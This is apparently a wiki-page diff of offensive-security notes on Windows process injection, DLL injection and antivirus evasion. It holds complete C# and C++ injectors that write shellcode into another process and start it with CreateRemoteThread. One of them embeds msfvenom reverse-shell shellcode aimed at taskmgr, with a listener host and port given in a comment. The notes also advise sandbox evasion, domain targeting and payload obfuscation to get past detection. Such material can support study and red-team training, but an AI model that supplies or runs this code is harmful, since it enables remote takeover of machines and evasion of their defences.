9. Updating the thread context: Once you have modified the context, you update it to the current thread. In thread hijacking, you set the modified thread context using functions like <code>SetThreadContext</code> in C# or C++. | 9. Updating the thread context: Once you have modified the context, you update it to the current thread. In thread hijacking, you set the modified thread context using functions like <code>SetThreadContext</code> in C# or C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,968: | Line 1,547: | ||
ref context | ref context | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
10. Resuming the target thread: Now that the worker (thread) has been prepared, you allow them to execute your malicious code. In thread hijacking, you resume the target thread using functions like <code>ResumeThread</code> in C# or C++. | 10. Resuming the target thread: Now that the worker (thread) has been prepared, you allow them to execute your malicious code. In thread hijacking, you resume the target thread using functions like <code>ResumeThread</code> in C# or C++. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
ResumeThread(hThread); | ResumeThread(hThread); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== csharp example === | === csharp example === | ||
The code below will inject a reverse shell into taskmgr with PID 1688. | The code below will inject a reverse shell into taskmgr with PID 1688. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 1,991: | Line 1,563: | ||
using System.Diagnostics; | using System.Diagnostics; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
class Program | class Program | ||
{ | { | ||
| Line 1,997: | Line 1,568: | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern bool CloseHandle(IntPtr hObject); | public static extern bool CloseHandle(IntPtr hObject); | ||
const int PROCESS_ALL_ACCESS = 0x1F0FFF; | const int PROCESS_ALL_ACCESS = 0x1F0FFF; | ||
const uint MEM_COMMIT = 0x1000; | const uint MEM_COMMIT = 0x1000; | ||
const uint MEM_RELEASE = 0x8000; | const uint MEM_RELEASE = 0x8000; | ||
const uint PAGE_EXECUTE_READWRITE = 0x40; | const uint PAGE_EXECUTE_READWRITE = 0x40; | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
// Obtain the target process (replace with the appropriate process ID) | // Obtain the target process (replace with the appropriate process ID) | ||
Process targetProcess = Process.GetProcessById(1688); | Process targetProcess = Process.GetProcessById(1688); | ||
// Open a handle to the target process | // Open a handle to the target process | ||
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetProcess.Id); | IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetProcess.Id); | ||
// Allocate memory within the target process | // Allocate memory within the target process | ||
IntPtr pRemoteCode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | IntPtr pRemoteCode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
// Write the shellcode to be injected into the allocated memory | // Write the shellcode to be injected into the allocated memory | ||
int bytesWritten; | int bytesWritten; | ||
WriteProcessMemory(hProcess, pRemoteCode, shellcode, (uint)shellcode.Length, out bytesWritten); | WriteProcessMemory(hProcess, pRemoteCode, shellcode, (uint)shellcode.Length, out bytesWritten); | ||
// Create a remote thread in the target process that starts executing the injected shellcode | // Create a remote thread in the target process that starts executing the injected shellcode | ||
IntPtr hRemoteThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteCode, IntPtr.Zero, 0, IntPtr.Zero); | IntPtr hRemoteThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteCode, IntPtr.Zero, 0, IntPtr.Zero); | ||
// Wait for the remote thread to finish | // Wait for the remote thread to finish | ||
WaitForSingleObject(hRemoteThread, 0xFFFFFFFF); | WaitForSingleObject(hRemoteThread, 0xFFFFFFFF); | ||
// Cleanup | // Cleanup | ||
CloseHandle(hRemoteThread); | CloseHandle(hRemoteThread); | ||
// Use Marshal to invoke VirtualFreeEx | // Use Marshal to invoke VirtualFreeEx | ||
Marshal.FreeHGlobal(pRemoteCode); | Marshal.FreeHGlobal(pRemoteCode); | ||
CloseHandle(hProcess); | CloseHandle(hProcess); | ||
} | } | ||
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f csharp | // msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f csharp | ||
static byte[] shellcode = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8, | static byte[] shellcode = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8, | ||
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48, | 0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48, | ||
| Line 2,089: | Line 1,643: | ||
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13, | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13, | ||
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5}; | 0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5}; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-06-image-6.png|thumb]] | [[File:2023-06-image-6.png|thumb]] | ||
[[File:2023-06-image-7.png|thumb]] | [[File:2023-06-image-7.png|thumb]] | ||
=== c++ example === | === c++ example === | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
#include | #include | ||
#include | #include | ||
const char* shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" | const char* shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" | ||
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" | "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" | ||
| Line 2,123: | Line 1,670: | ||
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" | "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" | ||
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; | "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; | ||
int main() | int main() | ||
{ | { | ||
// Open a handle to the target process (replace with the appropriate process ID) | // Open a handle to the target process (replace with the appropriate process ID) | ||
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 504); | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 504); | ||
// Allocate memory within the target process | // Allocate memory within the target process | ||
LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); | LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
// Write the shellcode to be injected into the allocated memory | // Write the shellcode to be injected into the allocated memory | ||
WriteProcessMemory(hProcess, pRemoteCode, shellcode, strlen(shellcode), NULL); | WriteProcessMemory(hProcess, pRemoteCode, shellcode, strlen(shellcode), NULL); | ||
// Create a remote thread in the target process that starts executing the injected shellcode | // Create a remote thread in the target process that starts executing the injected shellcode | ||
HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); | HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL); | ||
// Wait for the remote thread to finish | // Wait for the remote thread to finish | ||
WaitForSingleObject(hRemoteThread, INFINITE); | WaitForSingleObject(hRemoteThread, INFINITE); | ||
// Cleanup | // Cleanup | ||
CloseHandle(hRemoteThread); | CloseHandle(hRemoteThread); | ||
VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE); | VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE); | ||
CloseHandle(hProcess); | CloseHandle(hProcess); | ||
return 0; | return 0; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== DLL Injection == | == DLL Injection == | ||
In DLL injection, a programmer can inject a DLL file into a target process, which means that the code and data from the DLL become part of the running program. This allows the injected DLL to modify or enhance the behavior of the target process. | In DLL injection, a programmer can inject a DLL file into a target process, which means that the code and data from the DLL become part of the running program. This allows the injected DLL to modify or enhance the behavior of the target process. | ||
At a high-level DLL injection can be broken up into six steps: | At a high-level DLL injection can be broken up into six steps: | ||
* Locate a target process to inject. | * Locate a target process to inject. | ||
* Open the target process. | * Open the target process. | ||
* Allocate memory region for malicious DLL. | * Allocate memory region for malicious DLL. | ||
* Write the malicious DLL to allocated memory. | * Write the malicious DLL to allocated memory. | ||
* Load and execute the malicious DLL. | * Load and execute the malicious DLL. | ||
Step 1: Find the target process | Step 1: Find the target process | ||
First, we need to locate the program where we want to inject the DLL. This is done by using some special functions provided by Windows. Here's an example code snippet in C++: | First, we need to locate the program where we want to inject the DLL. This is done by using some special functions provided by Windows. Here's an example code snippet in C++: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
#include | #include | ||
#include | #include | ||
DWORD getProcessId(const char* processName) { | DWORD getProcessId(const char* processName) { | ||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | ||
| Line 2,199: | Line 1,727: | ||
return 0; // Process not found | return 0; // Process not found | ||
} | } | ||
DWORD processId = getProcessId("target.exe"); | DWORD processId = getProcessId("target.exe"); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Step 2: Open the target process | Step 2: Open the target process | ||
Once we have the process ID (PID), we can open the target process using the PID. This allows us to access and manipulate its memory. Here's an example code snippet: | Once we have the process ID (PID), we can open the target process using the PID. This allows us to access and manipulate its memory. Here's an example code snippet: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Step 3: Allocate memory for the DLL | Step 3: Allocate memory for the DLL | ||
Next, we need to allocate memory in the target process where we can place the DLL. This is done using the VirtualAllocEx function. Here's an example code snippet: | Next, we need to allocate memory in the target process where we can place the DLL. This is done using the VirtualAllocEx function. Here's an example code snippet: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Step 4: Write the DLL to the allocated memory | Step 4: Write the DLL to the allocated memory | ||
After allocating memory, we can write the contents of the DLL into the allocated memory using the WriteProcessMemory function. Here's an example code snippet: | After allocating memory, we can write the contents of the DLL into the allocated memory using the WriteProcessMemory function. Here's an example code snippet: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
WriteProcessMemory(hProcess, dllAllocatedMemory, dllPath, strlen(dllPath) + 1, NULL); | WriteProcessMemory(hProcess, dllAllocatedMemory, dllPath, strlen(dllPath) + 1, NULL); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Step 5: Load and execute the DLL | Step 5: Load and execute the DLL | ||
Finally, we can load and execute the DLL in the target process. We use the LoadLibrary function to load the DLL, and then create a remote thread in the target process to start executing the DLL code. Here's an example code snippet: | Finally, we can load and execute the DLL in the target process. We use the LoadLibrary function to load the DLL, and then create a remote thread in the target process to start executing the DLL code. Here's an example code snippet: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 2,239: | Line 1,758: | ||
HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD | HANDLE remoteThreadHandler = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== C# example === | === C# example === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 2,248: | Line 1,765: | ||
using System.Diagnostics; | using System.Diagnostics; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
class Program | class Program | ||
{ | { | ||
| Line 2,254: | Line 1,770: | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); | ||
[DllImport("kernel32.dll", CharSet = CharSet.Auto)] | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] | ||
public static extern IntPtr GetModuleHandle(string lpModuleName); | public static extern IntPtr GetModuleHandle(string lpModuleName); | ||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)] | [DllImport("kernel32.dll", CharSet = CharSet.Ansi)] | ||
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); | public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
[DllImport("kernel32.dll", SetLastError = true)] | [DllImport("kernel32.dll", SetLastError = true)] | ||
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
// Path to the DLL file to be injected | // Path to the DLL file to be injected | ||
const string dllPath = "path/to/your/dll.dll"; | const string dllPath = "path/to/your/dll.dll"; | ||
static void Main() | static void Main() | ||
{ | { | ||
// Get the target process by name | // Get the target process by name | ||
Process targetProcess = Process.GetProcessesByName("target")[0]; | Process targetProcess = Process.GetProcessesByName("target")[0]; | ||
// Open the target process with all access rights | // Open the target process with all access rights | ||
IntPtr hProcess = OpenProcess(0x1F0FFF, false, targetProcess.Id); | IntPtr hProcess = OpenProcess(0x1F0FFF, false, targetProcess.Id); | ||
// Allocate memory in the target process to hold the DLL path | // Allocate memory in the target process to hold the DLL path | ||
IntPtr dllMemory = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)dllPath.Length + 1, 0x00001000 | 0x00002000, 0x40); | IntPtr dllMemory = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)dllPath.Length + 1, 0x00001000 | 0x00002000, 0x40); | ||
// Write the DLL path to the allocated memory | // Write the DLL path to the allocated memory | ||
byte[] dllPathBytes = System.Text.Encoding.ASCII.GetBytes(dllPath); | byte[] dllPathBytes = System.Text.Encoding.ASCII.GetBytes(dllPath); | ||
int bytesWritten; | int bytesWritten; | ||
WriteProcessMemory(hProcess, dllMemory, dllPathBytes, (uint)dllPathBytes.Length, out bytesWritten); | WriteProcessMemory(hProcess, dllMemory, dllPathBytes, (uint)dllPathBytes.Length, out bytesWritten); | ||
// Get the address of the LoadLibraryA function from kernel32.dll | // Get the address of the LoadLibraryA function from kernel32.dll | ||
IntPtr kernel32Module = GetModuleHandle("kernel32.dll"); | IntPtr kernel32Module = GetModuleHandle("kernel32.dll"); | ||
IntPtr loadLibraryAddr = GetProcAddress(kernel32Module, "LoadLibraryA"); | IntPtr loadLibraryAddr = GetProcAddress(kernel32Module, "LoadLibraryA"); | ||
// Create a remote thread in the target process to load the DLL | // Create a remote thread in the target process to load the DLL | ||
IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, dllMemory, 0, IntPtr.Zero); | IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLibraryAddr, dllMemory, 0, IntPtr.Zero); | ||
// Wait for the thread to finish | // Wait for the thread to finish | ||
if (thread != IntPtr.Zero) | if (thread != IntPtr.Zero) | ||
WaitForSingleObject(thread, 0xFFFFFFFF); | WaitForSingleObject(thread, 0xFFFFFFFF); | ||
// Cleanup | // Cleanup | ||
CloseHandle(hProcess); | CloseHandle(hProcess); | ||
| Line 2,305: | Line 1,807: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
---- | ---- | ||
= AV Evasion Shellcode = | = AV Evasion Shellcode = | ||
== AV Evasion MindMap == | == AV Evasion MindMap == | ||
[https://github.com/CMEPW/BypassAV/blob/main/Bypass-AV.pdf BypassAV/Bypass-AV.pdf at main · CMEPW/BypassAV (github.com)] | [https://github.com/CMEPW/BypassAV/blob/main/Bypass-AV.pdf BypassAV/Bypass-AV.pdf at main · CMEPW/BypassAV (github.com)] | ||
[https://blog.aghanim.net/wp-content/uploads/2023/06/Bypass-AV.pdf Bypass-AV][https://blog.aghanim.net/wp-content/uploads/2023/06/Bypass-AV.pdf Download] | [https://blog.aghanim.net/wp-content/uploads/2023/06/Bypass-AV.pdf Bypass-AV][https://blog.aghanim.net/wp-content/uploads/2023/06/Bypass-AV.pdf Download] | ||
== AV Detection techniques == | == AV Detection techniques == | ||
An AV detection technique searches for and detects malicious files; different detection techniques can be used within the AV engine, including: | An AV detection technique searches for and detects malicious files; different detection techniques can be used within the AV engine, including: | ||
=== Signature-based detection === | === Signature-based detection === | ||
Traditional AV technique that looks for predefined malicious patterns and signatures within files. | Traditional AV technique that looks for predefined malicious patterns and signatures within files. | ||
=== Heuristic detection === | === Heuristic detection === | ||
More advanced technique that includes various behavioral methods to analyze suspicious files. | More advanced technique that includes various behavioral methods to analyze suspicious files. | ||
Heuristic detection is a technique used in cybersecurity to identify potentially malicious or suspicious files or activities based on heuristics or rules. It involves analyzing the behavior, characteristics, or patterns of a file or code to determine if it exhibits traits commonly associated with malicious behavior. Unlike signature-based detection, which relies on known signatures or patterns, heuristic detection is more proactive and can detect previously unseen or unknown threats. | Heuristic detection is a technique used in cybersecurity to identify potentially malicious or suspicious files or activities based on heuristics or rules. It involves analyzing the behavior, characteristics, or patterns of a file or code to determine if it exhibits traits commonly associated with malicious behavior. Unlike signature-based detection, which relies on known signatures or patterns, heuristic detection is more proactive and can detect previously unseen or unknown threats. | ||
Here are some things you can do for evading heuristic detection: | Here are some things you can do for evading heuristic detection: | ||
* '''Polymorphic Code''': Implementing code that dynamically modifies its structure or behavior upon execution can make it more challenging for heuristic detection to identify and classify the code as malicious. | * '''Polymorphic Code''': Implementing code that dynamically modifies its structure or behavior upon execution can make it more challenging for heuristic detection to identify and classify the code as malicious. | ||
* '''Anti-Analysis Techniques''': Employing various anti-analysis techniques, such as code obfuscation, encryption, or packing, can make it harder for heuristic detection mechanisms to understand and analyze the code's true intent. | * '''Anti-Analysis Techniques''': Employing various anti-analysis techniques, such as code obfuscation, encryption, or packing, can make it harder for heuristic detection mechanisms to understand and analyze the code's true intent. | ||
* '''Environmental Awareness:''' Heuristic detection often relies on identifying abnormal behavior or patterns. By mimicking normal system behavior or modifying code execution based on environmental factors (e.g., time, system state), it may be possible to evade heuristic detection mechanisms. | * '''Environmental Awareness:''' Heuristic detection often relies on identifying abnormal behavior or patterns. By mimicking normal system behavior or modifying code execution based on environmental factors (e.g., time, system state), it may be possible to evade heuristic detection mechanisms. | ||
* '''Code Fragmentation''': Splitting the malicious code into multiple fragments and executing them separately can make it harder for heuristic detection to piece together the entire malicious behavior, potentially leading to evasion. | * '''Code Fragmentation''': Splitting the malicious code into multiple fragments and executing them separately can make it harder for heuristic detection to piece together the entire malicious behavior, potentially leading to evasion. | ||
=== Dynamic detection === | === Dynamic detection === | ||
A technique that includes monitoring the system calls and APIs and testing and analyzing in an isolated environment. | A technique that includes monitoring the system calls and APIs and testing and analyzing in an isolated environment. | ||
Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes. | Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes. | ||
* '''Sleep before execution''' Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented. | * '''Sleep before execution''' Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented. | ||
* '''Checking machine's resources''' Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox. | * '''Checking machine's resources''' Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox. | ||
* '''Machine-specific checks''' If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit. | * '''Machine-specific checks''' If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit. | ||
=== Static detection === | === Static detection === | ||
Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection: | Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection: | ||
* '''Encryption''' If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory. | * '''Encryption''' If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory. | ||
* '''Obfuscation''' Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate. | * '''Obfuscation''' Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate. | ||
* '''Custom tooling''' If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort. | * '''Custom tooling''' If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort. | ||
== Shellcode == | == Shellcode == | ||
Shellcode is a special set of instructions that are created to make a vulnerable program do things it shouldn't. Usually, it's used to gain control over the program and do malicious actions. For example, it can open up a system shell or create a connection for remote control. | Shellcode is a special set of instructions that are created to make a vulnerable program do things it shouldn't. Usually, it's used to gain control over the program and do malicious actions. For example, it can open up a system shell or create a connection for remote control. | ||
When the shellcode is put into a process and executed by the vulnerable program, it changes how the program works. It updates registers (special memory storage) and functions so that the attacker's code gets executed. | When the shellcode is put into a process and executed by the vulnerable program, it changes how the program works. It updates registers (special memory storage) and functions so that the attacker's code gets executed. | ||
Shellcode is typically written in Assembly language, which is a low-level programming language. It's then translated into hexadecimal codes, which are specific instructions that computers understand. Creating unique and custom shellcode helps bypass antivirus software, but it's not easy to do. It requires advanced knowledge and skill in Assembly language, which can be quite challenging. | Shellcode is typically written in Assembly language, which is a low-level programming language. It's then translated into hexadecimal codes, which are specific instructions that computers understand. Creating unique and custom shellcode helps bypass antivirus software, but it's not easy to do. It requires advanced knowledge and skill in Assembly language, which can be quite challenging. | ||
Save code below as <code>helloworld.asm</code>. | Save code below as <code>helloworld.asm</code>. | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
section .text | section .text | ||
global _start | global _start | ||
_start: | _start: | ||
jmp MESSAGE ; 1) Let's jump to MESSAGE | jmp MESSAGE ; 1) Let's jump to MESSAGE | ||
GOBACK: | GOBACK: | ||
mov rax, 0x1 | mov rax, 0x1 | ||
| Line 2,422: | Line 1,887: | ||
mov rdx, 0xd | mov rdx, 0xd | ||
syscall | syscall | ||
mov rax, 0x3c | mov rax, 0x3c | ||
xor rdi, rdi ; Clear rdi (exit code 0) | xor rdi, rdi ; Clear rdi (exit code 0) | ||
syscall | syscall | ||
MESSAGE: | MESSAGE: | ||
call GOBACK ; 2) We are going back, since we used `call`, that means | call GOBACK ; 2) We are going back, since we used `call`, that means | ||
| Line 2,432: | Line 1,895: | ||
; of "Hello, World!\r\n", is pushed into the stack. | ; of "Hello, World!\r\n", is pushed into the stack. | ||
db "Hello, World!", 0dh, 0ah | db "Hello, World!", 0dh, 0ah | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* We start by jumping to the <code>MESSAGE</code> label. This means we want to execute the code starting from the <code>MESSAGE</code> label. | * We start by jumping to the <code>MESSAGE</code> label. This means we want to execute the code starting from the <code>MESSAGE</code> label. | ||
* We then encounter the <code>GOBACK</code> routine. This routine is called using <code>call</code>, which pushes the address of the next instruction (the address of the message) onto the stack. It allows us to retrieve the address of the message later. | * We then encounter the <code>GOBACK</code> routine. This routine is called using <code>call</code>, which pushes the address of the next instruction (the address of the message) onto the stack. It allows us to retrieve the address of the message later. | ||
* Inside the <code>GOBACK</code> routine, we first prepare the registers to call the <code>sys_write</code> function. We set <code>rax</code> to 1 to indicate that we want to use the <code>sys_write</code> function. We set <code>rdi</code> to 1, which represents the standard output (STDOUT) file descriptor. We pop the address of the message from the stack and store it in <code>rsi</code>, which will be used as the pointer to the message. Finally, we set <code>rdx</code> to 0xd (13 in decimal), which represents the length of the message. | * Inside the <code>GOBACK</code> routine, we first prepare the registers to call the <code>sys_write</code> function. We set <code>rax</code> to 1 to indicate that we want to use the <code>sys_write</code> function. We set <code>rdi</code> to 1, which represents the standard output (STDOUT) file descriptor. We pop the address of the message from the stack and store it in <code>rsi</code>, which will be used as the pointer to the message. Finally, we set <code>rdx</code> to 0xd (13 in decimal), which represents the length of the message. | ||
* After preparing the registers, we execute the <code>syscall</code> instruction to call the <code>sys_write</code> function. This will print the message to the console. | * After preparing the registers, we execute the <code>syscall</code> instruction to call the <code>sys_write</code> function. This will print the message to the console. | ||
* Next, we set <code>rax</code> to 0x3c, which represents the <code>sys_exit</code> function. We clear <code>rdi</code> by using <code>xor rdi, rdi</code>, which sets it to 0 (indicating exit code 0). | * Next, we set <code>rax</code> to 0x3c, which represents the <code>sys_exit</code> function. We clear <code>rdi</code> by using <code>xor rdi, rdi</code>, which sets it to 0 (indicating exit code 0). | ||
